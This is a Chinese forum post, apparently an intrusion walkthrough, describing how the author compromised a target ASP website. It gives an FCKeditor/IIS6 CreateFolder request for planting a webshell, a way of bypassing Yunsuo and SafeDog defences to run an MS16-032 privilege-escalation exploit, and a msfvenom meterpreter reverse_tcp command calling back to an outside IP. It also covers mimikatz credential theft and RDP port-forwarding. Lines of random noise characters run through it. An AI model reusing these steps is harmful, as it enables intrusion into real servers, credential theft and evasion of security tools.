|
H, U% p! r, m5 Q$ m! Z0 m# ^6 A
# y5 r$ E& Y3 t" H/ X. ~: G1 `' p ! q2 }* ^! Y9 d/ I3 X& ^9 L
' o0 s0 A' O0 i. w x" { Q: N | I* G- O( f6 L# ^
7 m. R7 i, r' P+ B3 @# t4 |
' A' y3 i2 y4 J4 s4 F! e" L
一、 利用getwebshell篇
. O. W$ Z& A$ R
# I ]+ [6 D1 F. C" _( p
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
$ R( h$ v6 [8 e/ L
" } @ v* o) ] c) ]
4 d8 ]3 `; p, |& p. E" r& F
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
) \# c1 k! [% M- t5 o& g
) Q+ ^5 A% R7 I6 G0 @ W下面我们构造一个asp目录，如：
& O$ ]: }4 w0 ^- p% C
: i n- _3 G' a2 u
2 V5 g3 ^# L, `8 J% V$ e3 E+ a) \' R( q http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
v$ g- \3 `: L! u" c: S( C \# d
! y% I) U9 w7 ^# t9 D
3 u. \ z4 u, B 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
( d! I' _0 a: ?* e& p5 ]! z
; _ O# y/ P+ ^# p
一、 绕过安全狗云锁提权并且加账号
/ S2 @ S6 F. m9 U1 ?! f$ q: \+ ^
0 T9 ]- j- t/ _3 A9 P1 [$ G
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
# e# x- Q. A7 ]) C' F+ i$ J8 o8 i
8 E- F$ u3 p/ b: E0 F
如图：
' J. u5 V# B* S5 T
, c2 }+ _6 Q4 a& c+ k
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
' S5 F- Q; ] @. H9 u& l
" ?+ h% q7 k a8 `( e3 A3 L
一、 利用metasploit
. r, t3 P) J6 k
7 L, Y8 X% c+ H: J% J; Y首先用pentestbox生成一个64位的payload如下命令
) ]- H% ^0 m* b/ G* |- n
7 Z7 s# L0 w8 a+ _) nmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
/ _" y; f4 ^ ?, N- d3 G1 O+ J
+ j4 ^* f* b$ k) }; F4 z为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
' o8 M u. m9 j
& U, D7 N3 a4 U
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
! R& m$ q3 U$ M" ?; h5 M
+ p, o# w( Y8 s- F9 j
下面我们来做一个监听如下命令：
" }' v" e( d5 H& N1 C1 H! P! c
( k! b7 O/ z2 kportfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
; z) A" q9 v$ g% H O
) L$ P! c2 P: l: J+ b2 J; O) z 8 j. Y0 F9 d0 R# S
|
7 i, R) B ?1 q5 M' U# F, P
. f2 n" H: }/ X* {; Z " S/ w `& ?; Z4 ^
& o+ Z; O C2 C3 J9 X9 M% J$ d; X( j* v: }& q4 [9 V
8 m( w; o/ F. n& D: U) g2 G! C+ V
! }" W2 c4 v+ S1 o# n% q
0 h* F% q- c) H" x; e " E, p+ {/ ?7 K7 L
% E! |7 J/ O+ | s/ K$ x* C
) r) H6 O, V! [
- } J5 W3 l( P
7 L, e2 g8 `0 F" V2 v4 i9 G4 s
, r* G7 F A, t, Q" Y( l8 Y5 N | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06